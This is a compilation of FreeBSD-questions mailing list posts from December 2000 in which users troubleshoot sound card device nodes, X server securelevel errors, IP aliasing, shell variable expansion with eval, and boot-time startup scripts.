(1)

I recently recompiled my Kernel, after having adding the following 2 
devices, as I have a Sound Blaster Live MP3+ Card (below):

device sbc
device pcm

(2)

I checked to see that the driver was successfully installed (below):

bash# cat /dev/sndstat
FreeBSD Audio Driver (newpcm) Dec 17 2000 17:18:12
Installed devices:
pcm0: <Creative EMU10K1> at io 0x78a0 irq 5 (4p/3r channels duplex)


(3)

I created the following 2 device nodes (below):

bash# cd /dev
bash# sh MAKEDEV snd0
bash#
bash# sh MAKEDEV snd1
bash#

Please Note* I did 'not' receive any errors when createing the two device 
nodes (above). The handbook says it should return pcm0 and pcm1, this did 
not happen.

This created the following under /dev:

lrwxrwxrwx  1 root  wheel  6 Dec 17 17:52 audio -> audio1
lrwxrwxrwx  1 root  wheel  4 Dec 17 17:52 dsp -> dsp1
lrwxrwxrwx  1 root  wheel  5 Dec 17 17:52 dspW -> dspW1
lrwxrwxrwx  1 root  wheel  6 Dec 17 17:52 mixer -> mixer1
lrwxrwxrwx  1 root  wheel  6 Dec 17 17:52 music -> music1
lrwxrwxrwx  1 root  wheel  10 Dec 17 17:52 sequencer -> sequencer1
lrwxrwxrwx  1 root  wheel  4 Dec 17 17:52 pss -> pss1

(4)

I then installed XMMS 1.2.4 and attempted to play an mp3. I attempted to use 
the following devices as the output plugin and was given the following 
errors each time:

** WARNING **: oss_open(): Failed to open audio device (/dev/dsp): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/audio): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/dspW): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/mixer): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/music): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/sequencer): 
Device not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/pss): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/pss): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/dsp): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/audio): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/dspW): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/mixer): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/music): Device 
not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/sequencer): 
Device not configured

** WARNING **: oss_open(): Failed to open audio device (/dev/pss): Device 
not configured

(5)

HELP?? Did I install the correct devices in my kernel (pcm AND sbc)?? I also 
tried all the same steps above with the following other two devices compiled 
in my kernel (pcm AND device sbc0 at isa? port0x220 irq 5 drq 1 flags 0x15). 
However, isn't my card a PnP ISA card??

HELP, what can I do??  :-(
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Hello Drew,

Sunday, December 17, 2000, 3:57:14 PM, you wrote:

TD> As you can tell from this question, I am a newbie.  Anyway, I'm trying to
TD> find the correct command to extract
TD> /usr/home/tomlinson_dr/download/dynip_3.00.tar to the same directory.  The
TD> command I'm using is a follows:

TD> tar x dynip_3.00.tar
TD> tar: can't open /dev/rsa0 : Device not configured

Here is a general example

cd /usr/home......
tar zxvf dynip*.tar.gz
cd <the new generated directory, mostly the same as the progname>
./configure
make
make install


-- 
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> Not too long ago, I had compiled, installed, and run successfully
> XFree86 4.1.0 on FreeBSD 4.0.1.  This weekend I set up another box, this

There is no XFree86 4.1.0, or FreeBSD 4.0.1.  Maybe you mean XFree86
4.0.1 and FreeBSD 4.1?

> Fatal server error:
> xf86EnableIO: Failed to open /dev/io for extended I/O

X can't run in securelevel >= 1 because it needs to do raw I/O.  Lower
it and the problem should go away.  For more information on
securelevel, please see the init(8) manual page.

						Dima Dorfman
						dima@unixfreak.org


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Dima Dorfman wrote:
> 
> > Not too long ago, I had compiled, installed, and run successfully
> > XFree86 4.1.0 on FreeBSD 4.0.1.  This weekend I set up another box, this
> 
> There is no XFree86 4.1.0, or FreeBSD 4.0.1.  Maybe you mean XFree86
> 4.0.1 and FreeBSD 4.1?
> 
> > Fatal server error:
> > xf86EnableIO: Failed to open /dev/io for extended I/O
> 
> X can't run in securelevel >= 1 because it needs to do raw I/O.  Lower
> it and the problem should go away.  For more information on
> securelevel, please see the init(8) manual page.
> 
>                                                 Dima Dorfman
>                                                 dima@unixfreak.org
> 
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 Thanks for your reply, I had just gotten the same information from
searching the mailing lists over at .org, which I pormise I will do
before posting next time :)
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I'm a convert (newbie) from Microsoft, I just recently purchased FreeBSD =
and installed it.  The problem I', experiencing is that when I boot to =
FreeBSD, I dual this machine, when I get to Login and password, it =
doesn't recognize my login name and password?  Now I have reloaded =
(re-installed) several time already, and I've written down the login =
name and password?  I've even tried several different names with =
different pw?  Any suggestions???

Would very much appreciate your support with this problem.  Oh by the =
way, before I installed this OS I read the Complete FreeBSD, by Greg =
Lehey. Not completely however I've read the first seven chapters and =
then some.
I'm not ready to through the bay out with the bath water, I want this OS =
system running on my computer.
Which is a MICRON Millennium I purchased last year.
Thank you for your assistance, BrianC. =20

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On 2000.12.18 01:10:58 +0000 Walter W. Hop wrote:
> [in reply to penguinjedi@home.com, 17-12-2000]
> 
> >> options IPFIREWALL
> >> options IPDIVERT
> > ok i did not add those 2 options to my kernel, but i did just now and i
> got
> > an error when i compile
> 
> I believe you should add this as well:
> 
> options         IPFIREWALL_FORWARD
> 

i'm sure we're on the right path here, but i'm still getting the same error
message
by the way, i have 2 machines for now on my internal network and then i
have my BSD box, my
subnet for the 192.168.0.1/2/3 addresses should be 255.255.255.0 right?



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Brian,

I had that very same problem once during an install.
It turned out that I had chosen the US -ISO-Unix keyboard.
The Unix keyboard does a caps lock when you hit the left ctrl button.  Bad
for typing in a password.
Anyhow, I reinstalled cause I had nothing to lose and practice makes perfect
you see, I chose the US-ISO keyboard and stayed away from the unix one.

Just thought I'd throw that in.  Choose your keyboard properly.
Sincerely,

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  I'm a convert (newbie) from Microsoft, I just recently purchased FreeBSD
and installed it.  The problem I', experiencing is that when I boot to
FreeBSD, I dual this machine, when I get to Login and password, it doesn't
recognize my login name and password?  Now I have reloaded (re-installed)
several time already, and I've written down the login name and password?
I've even tried several different names with different pw?  Any
suggestions???

  Would very much appreciate your support with this problem.  Oh by the way,
before I installed this OS I read the Complete FreeBSD, by Greg Lehey. Not
completely however I've read the first seven chapters and then some.
  I'm not ready to through the bay out with the bath water, I want this OS
system running on my computer.
  Which is a MICRON Millennium I purchased last year.
  Thank you for your assistance, BrianC.

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class=3D620521503-18122000>Brian,</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D620521503-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D620521503-18122000>I had=20
that very same problem once during an install.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D620521503-18122000>It=20
turned out that I had chosen the US -ISO-Unix =
keyboard.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D620521503-18122000>The=20
Unix keyboard does a caps lock when you hit the left ctrl button.&nbsp; =
Bad for=20
typing in a password.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D620521503-18122000>Anyhow, I reinstalled cause I had nothing to =
lose and=20
practice makes perfect you see, I chose the US-ISO keyboard and stayed =
away from=20
the unix one.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D620521503-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D620521503-18122000>Just=20
thought I'd throw that in.&nbsp; Choose your keyboard=20
properly.</SPAN></FONT></DIV>
<P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D620521503-18122000>Sincerely,</SPAN></FONT></P>
<P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D620521503-18122000></SPAN></FONT><FONT=20
size=3D2>______________________________<BR>Jack J. Harris,=20
Jr.<BR>me@jharris.com<BR></FONT><FONT face=3DTahoma =
size=3D2><BR><B>From:</B>=20
owner-freebsd-questions@FreeBSD.ORG=20
[mailto:owner-freebsd-questions@FreeBSD.ORG]<B>On Behalf Of </B>Brian=20
Cazares<BR><B>Sent:</B> Sunday, December 17, 2000 9:07 PM<BR><B>To:</B>=20
questions@FreeBSD.ORG<BR><B>Subject:</B> Login: and password<BR><BR></P>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px"></FONT>
  <DIV><FONT face=3DArial size=3D2>I'm a convert (newbie) from =
Microsoft,=20
  I&nbsp;just recently purchased FreeBSD and installed it.&nbsp; The =
problem I',=20
  experiencing is that when I boot to FreeBSD, I dual this machine, when =
I get=20
  to Login and password, it doesn't recognize my login name and =
password?&nbsp;=20
  Now I have reloaded&nbsp;(re-installed)&nbsp;several time already, and =
I've=20
  written down the login name and password?&nbsp; I've even tried =
several=20
  different names with different pw?&nbsp;&nbsp;Any =
suggestions???</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Would very much appreciate your =
support with this=20
  problem.&nbsp; Oh by the way, before I installed this OS I read=20
  the&nbsp;Complete FreeBSD, by Greg Lehey. Not completely however I've =
read the=20
  first seven chapters and then some.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>I'm not ready to through the bay out =
with the=20
  bath water,&nbsp;I want this OS system running on my =
computer.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Which is&nbsp;a MICRON Millennium I =
purchased=20
  last year.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Thank you for your assistance,=20
  BrianC.&nbsp;&nbsp;</FONT></DIV></BLOCKQUOTE></BODY></HTML>

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Actually... the netmask for the first IP should be /24 (255.255.255.0) but
the aliases should be 255.255.255.255....

Here's an example for /etc/rc.conf:

ifconfig_fxp0="inet 10.10.10.1  netmask 255.255.255.0"
ifconfig_fxp0_alias0="inet 10.10.11.1  netmask 255.255.255.255"
ifconfig_fxp0_alias1="inet 10.10.12.1  netmask 255.255.255.255"

Unless you're going to setup packet filtering or the kernel based firewall,
then there is no need to activate the options you were told you needed....

The basic kernel supports mutiple IP address aliases by default.

> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Moses Backman
> III
> Sent: Sunday, December 17, 2000 12:15 PM
> To: Walter W . Hop
> Cc: Moses Backman III; Kenneth Wayne Culver; Quetstions FreeBSD
> Subject: Re: ip aliasing
>
>
>
> On 2000.12.18 01:10:58 +0000 Walter W. Hop wrote:
> > [in reply to penguinjedi@home.com, 17-12-2000]
> >
> > >> options IPFIREWALL
> > >> options IPDIVERT
> > > ok i did not add those 2 options to my kernel, but i did just
> now and i
> > got
> > > an error when i compile
> >
> > I believe you should add this as well:
> >
> > options         IPFIREWALL_FORWARD
> >
>
> i'm sure we're on the right path here, but i'm still getting the
> same error
> message
> by the way, i have 2 machines for now on my internal network and then i
> have my BSD box, my
> subnet for the 192.168.0.1/2/3 addresses should be 255.255.255.0 right?
>
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According to the directions, if sndstat shows pcm0, you need to MAKEDEV
snd0, but not snd1. MAKEDEV snd0 again and you should be fine. I screwed
that one up, too ;)

----- Original Message -----
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To: <questions@FreeBSD.ORG>; <bwatts@corp.attcanada.ca>
Sent: Sunday, December 17, 2000 6:23 PM
Subject: Re: Configuring Sound With Sound Blaster Live Card onBSD 4.2


> Hi There,
>
> I'm hoping soneone can help me with sound card configuration:
>
> (1)
>
> I recently recompiled my Kernel, after having adding the following 2
> devices, as I have a Sound Blaster Live MP3+ Card (below):
>
> device sbc
> device pcm
>
> (2)
>
> I checked to see that the driver was successfully installed (below):
>
> bash# cat /dev/sndstat
> FreeBSD Audio Driver (newpcm) Dec 17 2000 17:18:12
> Installed devices:
> pcm0: <Creative EMU10K1> at io 0x78a0 irq 5 (4p/3r channels duplex)
>
>
> (3)
>
> I created the following 2 device nodes (below):
>
> bash# cd /dev
> bash# sh MAKEDEV snd0
> bash#
> bash# sh MAKEDEV snd1
> bash#
>
> Please Note* I did 'not' receive any errors when createing the two device
> nodes (above). The handbook says it should return pcm0 and pcm1, this did
> not happen.
>
> This created the following under /dev:
>
> lrwxrwxrwx  1 root  wheel  6 Dec 17 17:52 audio -> audio1
> lrwxrwxrwx  1 root  wheel  4 Dec 17 17:52 dsp -> dsp1
> lrwxrwxrwx  1 root  wheel  5 Dec 17 17:52 dspW -> dspW1
> lrwxrwxrwx  1 root  wheel  6 Dec 17 17:52 mixer -> mixer1
> lrwxrwxrwx  1 root  wheel  6 Dec 17 17:52 music -> music1
> lrwxrwxrwx  1 root  wheel  10 Dec 17 17:52 sequencer -> sequencer1
> lrwxrwxrwx  1 root  wheel  4 Dec 17 17:52 pss -> pss1
>
> (4)
>
> I then installed XMMS 1.2.4 and attempted to play an mp3. I attempted to
use
> the following devices as the output plugin and was given the following
> errors each time:
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/dsp): Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/audio):
Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/dspW): Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/mixer):
Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/music):
Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/sequencer):
> Device not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/pss): Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/pss): Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/dsp): Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/audio):
Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/dspW): Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/mixer):
Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/music):
Device
> not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/sequencer):
> Device not configured
>
> ** WARNING **: oss_open(): Failed to open audio device (/dev/pss): Device
> not configured
>
> (5)
>
> HELP?? Did I install the correct devices in my kernel (pcm AND sbc)?? I
also
> tried all the same steps above with the following other two devices
compiled
> in my kernel (pcm AND device sbc0 at isa? port0x220 irq 5 drq 1 flags
0x15).
> However, isn't my card a PnP ISA card??
>
> HELP, what can I do??  :-(
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Hello!

Can anyone help with a script problem I'm having. Please let me explain what 
I'm trying to do with two example files...

fileone:
$name


filetwo:
#!/bin/sh

name="Aaron"
fileone=`cat fileone`

echo "Your name is $fileone"


When you execute filetwo this is the output you get:
Your name is $name

The output I would like to get is:
Your name is Aaron


Can anyone point out if I've missed something fundamental or if there's 
something that could help me do this substition.


Thanks
Aaron Hill



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I'm just trying to start the client for a dynamic IP service I subscribe
to.  It's dynip.com and the client is called dynipclient.  After
starting up, I just need to type it at the command line.  From my DOS
days, I know I could put a command like that in autoexec.bat.  I gather
that in FreeBSD, there are scripts instead of batch files.  So I am
trying to do the equivalent.

I see there are some old and new ways of doing this.  My first version
of FreeBSD was the 4.0 release so I would prefer to learn the new.  I'm
currently running 4.1.1 and plan to upgrade to 4.2 in the near future.

Thanks for your help!

Drew

P.S.  Are there any links you would recommend for a beginner to learn
about scripts?

-----Original Message-----
From: Donald J . Maddox [mailto:dmaddox@sc.rr.com]
Sent: Sunday, December 17, 2000 5:37 PM
To: Moses Backman III
Cc: Drew Tomlinson; FreeBSD Questions
Subject: Re: How to Get Program to Start Automatically Upon Boot


On Sun, Dec 17, 2000 at 08:20:40PM +0000, Moses Backman III wrote:
>
> On 2000.12.18 01:17:02 +0000 Drew Tomlinson wrote:
> > I have added a program to my system and would like it to start
> > automatically upon boot.  I'm sure it's as simple as adding the
program
> > name to some startup script but I don't know where that would be.
So
> > what file do I need to modify?
> >
> > Thanks for your help!
> >
> > Drew
> >
> >
> >
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> add to /etc/rc before the exit 0 line

You should NOT edit /etc/rc.

You can create an /etc/rc.local to run your program at boot, but there
may be a better solution still, depending on exactly what you are trying
to start.  What are you trying to do, exactly?  What program do you
want to start?


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On Mon, Dec 18, 2000 at 03:53:19AM +0000, Aaron Hill wrote:
> Hello!
> 
> Can anyone help with a script problem I'm having. Please let me explain what 
> I'm trying to do with two example files...
> 
> fileone:
> $name
> 
> 
> filetwo:
> #!/bin/sh
> 
> name="Aaron"
> fileone=`cat fileone`
> 
> echo "Your name is $fileone"
> 
> 
> When you execute filetwo this is the output you get:
> Your name is $name
> 
> The output I would like to get is:
> Your name is Aaron
> 
> 
> Can anyone point out if I've missed something fundamental or if there's 
> something that could help me do this substition.
I think what you're looking for is something along the lines of:
echo "Your name is " $fileone

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Hello

I really would like to give Evolution a try. I managed to compile it
eventually, but when I run it it does not get past the splash screen. Is
anyone successfully using it? I am running 4.2 stable (Nov 24).

When I run ./verify-evolution-install.sh in the tools directory I get
"ORBit is not in GNOME_PATH", etc. (I built ORBit from the ports).

On a different machine (also 4.2) I cannot get past bonobo, which fails
during config (#line 4128 "configure").

Any help would be appreciated.

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Greetings,

    I am wanting to configure a FreeBSD machine that I have over here to =
use a printer that is connected to my workstation via USB. I would like =
print jobs to be sent over to the printer on my workstation. Does anyone =
have any ideas as to how to go about doing this? I've heard it should be =
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be done this way. Thanks in advance for the assistance.

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>> I am wondering if I can set up a fbsd4.0 machine as a dhcp server
>> for my home network? I have the Complete FreeBSD, but it doesn't
>> cover this topic, the FreeBSD Handbook also ignores it. The
>> FreeBSD
>> Diary web site does not say anything about it either. This makes
>> me wonder if it is possible? I have 10 computers here at home,
>> this
>> would just make things a bit easier when setting up new machines.
>
>Yes, see:
>/usr/ports/net/isc-dhcp2
>I just used the example config and the man pages for setup, they seemed to
>be pretty straight forward.
>
>- Matt
Thanks for the location, though I already knew about that. I was
looking for info to read before installing it, which is why I was
looking at the books and web sites mentioned. Anyway, I installed 
isc-dhcp2 from the ports and it seemed to go okay except for one
problem - dhcpconf failed with error code 1. I tried to install
it
seperately, but it will not install. The error is because it
can't
seem to find or download the popt-1.4-1.src.rpm. It tries 3 or 4 
differant locations then gives up.
And yes, I am doing this as root, else the isc-dhcp2 would not
have
installed, but it did. This is on fbsd-4.0-r btw.
Anymore help out there?

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Thanks for your prompt reply.

>I think what you're looking for is something along the lines of:
>echo "Your name is " $fileone


I'm afraid that doesn't work. It seems that variable substitution only works 
to one level - maybe this is for the best too.

What I mean is the contents of $fileone is $name so the shell does the right 
thing to substitute $fileone with $name in the output but I'd like it to do 
the same again and substitute $name with Aaron.

I can picture that this might not be do-able because it would be resource 
consuming if the shell was designed to recurse like this.

Thanks again.
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> filetwo:
> #!/bin/sh
> 
> name="Aaron"
> fileone=`cat fileone`

Change that last line to:

  eval fileone=`cat fileone`

Hope this helps

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Dear Users,

I'm having trouble getting WordPerfect 8 to print correctly. I've
checked the docs and the archives to no avail.

The problem is that whenever I send a file to the printer -- an HP
LaserJetIIIp -- all I get is what looks like plain ASCII output.

I am running:

WP8 - from the GUILG00.GZ file
Linux `emulation' - i.e. the Linux base system
apsfilter-5.4.2


I've selected the LJIIIp driver is the printer setup dialogue in WP8.


I've set the fontpaths to the WP fonts in my `.xinitrc' and also in
`/etc/XF86Config' - ie. 

      xset +fp  /usr/local/lib/corel/shlib10/fonts &
      xset +fp  /usr/local/lib/corel/shlib10 &

and,

      FontPath   "/usr/local/lib/corel/shlib10"
      FontPath   "/usr/local/lib/corel/shlib10/fonts"


The printcommand in WP8 is set to: `lpr -Plp <f>'


And finally, my `/etc/printcap' looks like this:

lp|aps1-ljet3-a4-auto-300x300|Printer1 ljet3 a4 auto 300x300:\
    :lp=/dev/lpt0:\
    :sd=/var/spool/lpd/printer1-ljet3-a4-auto-300x300:\
    :lf=/var/spool/lpd/printer1-ljet3-a4-auto-300x300/log:\
    :af=/var/spool/lpd/printer1-ljet3-a4-auto-300x300/acct:\
    :if=/usr/local/apsfilter/filter/aps1-ljet3-a4-auto-300x300:\
    :mx#0:\
    :sh:
raw|aps2-ljet3-a4-raw|Printer1 ljet3 a4 raw:\
    :lp=/dev/lpt0:\
    :sd=/var/spool/lpd/printer1-ljet3-a4-raw:\
    :lf=/var/spool/lpd/printer1-ljet3-a4-raw/log:\
    :af=/var/spool/lpd/printer1-ljet3-a4-raw/acct:\
    :if=/usr/local/apsfilter/filter/aps2-ljet3-a4-raw:\
    :mx#0:\
    :sf:\
    :sh:


What on earth could the problem be?

Setting up AbiWord was simplicity itself compared with this.

Yours in expectation,

 Richard Mahoney
 
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Please correct me if I'm wrong but /etc/rc.local seems to be alive and 
well, at least in R4.1.1...

At 08:57 PM 12/17/2000 -0500, Matthew Emmerton wrote:

>Furthermore, I believe someone (authoritative) mentioned a while ago on the
>list that /etc/rc.local has been deprecated in favour of /usr/local/etc/rc.d
>since the early days of 3.x, perhaps before.
>
>--
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> > can make scripts that start up as an .sh script in
> > /usr/local/etc/rc.d/
> > -Otter
> >
> >
> > }-----Original Message-----
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> > }hi, /etc/rc.local
> > }
> > }
> > }
> > }At 05:17 PM 12/17/2000 -0800, Drew Tomlinson wrote:
> > }>I have added a program to my system and would like it to start
> > }>automatically upon boot.  I'm sure it's as simple as adding
> > }the program
> > }>name to some startup script but I don't know where that
> > }would be.  So
> > }>what file do I need to modify?
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> > }>Thanks for your help!
> > }>
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> > fileone=`cat fileone`
>
>Change that last line to:
>
>   eval fileone=`cat fileone`
>
>Hope this helps
>
>Dima


Thanks a lot Dima, that's done the trick.

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In that case, you should create a startup script for it in
/usr/local/etc/rc.d.  The filename must end with '.sh' and
it MUST be executable.  It will be called at boot time with
an argument of 'start' and at shutdown with an argument of
'stop', so your script can handle those two different cases
(in case your program needs to clean up at shutdown or
something).  Here's an example that I use to start fetchmail at boot:

#!/bin/sh

if ! PREFIX=$(expr $0 : "\(/.*\)/etc/rc\.d/$(basename $0)\$"); then
    echo "$0: Cannot determine the PREFIX" >&2
    exit 1
fi

case "$1" in
start)
	[ -x ${PREFIX}/bin/fetchmail ] && ( env FETCHMAILHOME=\/etc ${PREFIX}/bin/fetchmail & ) && echo -n ' fetchmail'
	;;
stop)
	${PREFIX}/bin/fetchmail --quit && echo -n ' fetchmail'
	;;
*)
	echo "Usage: `basename $0` {start|stop}" >&2
	;;
esac

exit 0

On Sun, Dec 17, 2000 at 08:00:16PM -0800, Drew Tomlinson wrote:
> I'm just trying to start the client for a dynamic IP service I subscribe
> to.  It's dynip.com and the client is called dynipclient.  After
> starting up, I just need to type it at the command line.  From my DOS
> days, I know I could put a command like that in autoexec.bat.  I gather
> that in FreeBSD, there are scripts instead of batch files.  So I am
> trying to do the equivalent.
> 
> I see there are some old and new ways of doing this.  My first version
> of FreeBSD was the 4.0 release so I would prefer to learn the new.  I'm
> currently running 4.1.1 and plan to upgrade to 4.2 in the near future.
> 
> Thanks for your help!
> 
> Drew
> 
> P.S.  Are there any links you would recommend for a beginner to learn
> about scripts?
> 
> -----Original Message-----
> From: Donald J . Maddox [mailto:dmaddox@sc.rr.com]
> Sent: Sunday, December 17, 2000 5:37 PM
> To: Moses Backman III
> Cc: Drew Tomlinson; FreeBSD Questions
> Subject: Re: How to Get Program to Start Automatically Upon Boot
> 
> 
> On Sun, Dec 17, 2000 at 08:20:40PM +0000, Moses Backman III wrote:
> >
> > On 2000.12.18 01:17:02 +0000 Drew Tomlinson wrote:
> > > I have added a program to my system and would like it to start
> > > automatically upon boot.  I'm sure it's as simple as adding the
> program
> > > name to some startup script but I don't know where that would be.
> So
> > > what file do I need to modify?
> > >
> > > Thanks for your help!
> > >
> > > Drew
> > >
> > >
> > >
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> > add to /etc/rc before the exit 0 line
> 
> You should NOT edit /etc/rc.
> 
> You can create an /etc/rc.local to run your program at boot, but there
> may be a better solution still, depending on exactly what you are trying
> to start.  What are you trying to do, exactly?  What program do you
> want to start?
> 
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On Monday 18 December 2000 03:14, Tim McMillen wrote:
> On Sun, 17 Dec 2000, Dru wrote:
> > On Sun, 17 Dec 2000, Otter wrote:
> > > isn't "rehash" just a csh command? or does it work on all shells?
> > > -Otter
> >
> > Yes. But the original poster didn't say he had changed the default
> > csh/tcsh shell for root to something else. If he had just installed
> > software, he did it as root from root's shell  :)
>
> 	And csh (and tcsh) are the only ones that keep the hash table of
> commands.  The others just search through the path.  As I was informed the
> last time I asked about rehash, csh maintains this hash table to make
> command execution slightly more efficient by speeding the finding of the
> executeable.  Other shells don't do this.
>
bash does, it has the "hash" command and usually an alias
of rehash to "hash -r"

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I have an HP Procurve switch that I periodically use telnet to 
access.  It is "menu driven" insofar as it uses the cursor keys
to activate menus, and it makes much use of reverse-video to 
highlight choices in the menus as you cursor up/down.

When I telnet to this box from the FreeBSD console, it's not 
interpreting this correctly and I can't see any obvious telnet 
options that would fix it.  What I see are the string "25l" appearing
at the end of lines when I use the cursor key, and sometimes
all over the screen.

How can I make this look correct?  It works fine using various
Windoze telnet utilities or from linux. (Using either the console or 
KDE terminal under X.)

TIA,


Phil


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On 2000.12.18 03:32:23 +0000 Don O'Neil wrote:
> Actually... the netmask for the first IP should be /24 (255.255.255.0)
> but
> the aliases should be 255.255.255.255....
> 
> Here's an example for /etc/rc.conf:
> 
> ifconfig_fxp0="inet 10.10.10.1  netmask 255.255.255.0"
> ifconfig_fxp0_alias0="inet 10.10.11.1  netmask 255.255.255.255"
> ifconfig_fxp0_alias1="inet 10.10.12.1  netmask 255.255.255.255"
> 
> Unless you're going to setup packet filtering or the kernel based
> firewall,
> then there is no need to activate the options you were told you
> needed....
> 
> The basic kernel supports mutiple IP address aliases by default.
> 

ok, give it to me in baby steps...10......................

i assume 10.10.10.1 is my outside interface w/ netmask 255.255.255.0

then, i add lines 2 and 3 to /etc/rc.conf?  these two are my intenal
network and i am
telling the system to assign them alias0 and 1????????????

i don't want to be a pain if there is a good faq you know
of.............................

i just want to know WHY i am doing the things i do.  
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In the last episode (Dec 17), Philip J. Koenig said:
> I have an HP Procurve switch that I periodically use telnet to
> access.  It is "menu driven" insofar as it uses the cursor keys to
> activate menus, and it makes much use of reverse-video to highlight
> choices in the menus as you cursor up/down.
> 
> When I telnet to this box from the FreeBSD console, it's not
> interpreting this correctly and I can't see any obvious telnet
> options that would fix it.  What I see are the string "25l" appearing
> at the end of lines when I use the cursor key, and sometimes all over
> the screen.

It's ignoring your TERM variable setting and sending vt100 escape
codes.  Netware servers do the same thing when you try to telnet to
them.  Whenever I have to telnet to something that doesn't recognize
cons25, I do it under screen (ports/misc/screen).  Hasn't let me down
yet (and yes, I have HP Procurve switches, so it'll definitely work in
your case).

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(Please copy responses to rshea@my-deja.com for obvious reasons ...)

Hi - I've got a freebsd system which has only a system console. 

Although I can still use F1,F2.. etc to change terminals I cannot use the keyboard has become locked for anything else. I would like to reboot but obviously I can't ! I'm thinking about just powercycling but I know that's not a good idea generally. Anyone got any good ideas as to how I can get out of this ?

For background the whole machine seems sick, no web pages are served and ping is not responded to.

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On Sun, Dec 17, 2000 at 04:58:01PM -0800, Drew Tomlinson wrote:
> I have just installed some new software but when I attempt to run it,
> the file is not found.  As I recall, there is something that reads the
> "paths" (is this the correct term?) when the system is started.  So
> short of rebooting (I'm trying to get away from M$ practices) how can I
> get my system to re-read the "paths" and find my new software?
If you are using csh as your shell then use "rehash" command
Or you can just logout and log in again.

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On Sun, Dec 17, 2000 at 08:32:08PM -0800, Randy Katz wrote:
> Please correct me if I'm wrong but /etc/rc.local seems to be alive and 
> well, at least in R4.1.1...

Before we get to far into another rc.d versus rc.local debate, let's
all RTFM, man rc,

  DESCRIPTION
     Rc is the command script which controls the automatic reboot (calling the
     other scripts) and rc.local is the script holding commands which are per-
     tinent only to a specific site.  Typically, the /usr/local/etc/rc.d mech-
     anism is used instead of rc.local these days but if you do want to use
     rc.local, /etc/rc still supports it.  In this case, rc.local should
     source /etc/rc.conf and contain additional custom startup code for your
     system.

But er..., em..., *cough* ignore that stuff in there about
rc.local.conf.
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On Mon, Dec 18, 2000 at 02:10:58AM +0100, Walter W. Hop wrote:
> [in reply to penguinjedi@home.com, 17-12-2000]
> 
> >> options IPFIREWALL
> >> options IPDIVERT
> > ok i did not add those 2 options to my kernel, but i did just now and i got
> > an error when i compile
> 
> I believe you should add this as well:
> 
> options         IPFIREWALL_FORWARD

Only if you are using 'fwd' actions in some of your ipfw rules. It is
not required for NAT.
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On Sun, Dec 17, 2000 at 07:32:23PM -0800, Don O'Neil wrote:
> >
> > -----Original Message-----
> > From: owner-freebsd-questions@FreeBSD.ORG
> > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Moses Backman
> > III
> > Sent: Sunday, December 17, 2000 12:15 PM
> > To: Walter W . Hop
> > Cc: Moses Backman III; Kenneth Wayne Culver; Quetstions FreeBSD
> > Subject: Re: ip aliasing
> >
> >
> > On 2000.12.18 01:10:58 +0000 Walter W. Hop wrote:
> > > [in reply to penguinjedi@home.com, 17-12-2000]
> > >
> > > >> options IPFIREWALL
> > > >> options IPDIVERT
> > > > ok i did not add those 2 options to my kernel, but i did just now and i got
> > > > an error when i compile
> > >
> > > I believe you should add this as well:
> > >
> > > options         IPFIREWALL_FORWARD
> > >
> >
> > i'm sure we're on the right path here, but i'm still getting the
> > same error
> > message
> > by the way, i have 2 machines for now on my internal network and then i
> > have my BSD box, my
> > subnet for the 192.168.0.1/2/3 addresses should be 255.255.255.0 right?
>
> Actually... the netmask for the first IP should be /24 (255.255.255.0) but
> the aliases should be 255.255.255.255....

Aliases? He's talking about three different machines I assume. And to
your remark about 32-bit netmasks, that is not always true...

> Here's an example for /etc/rc.conf:
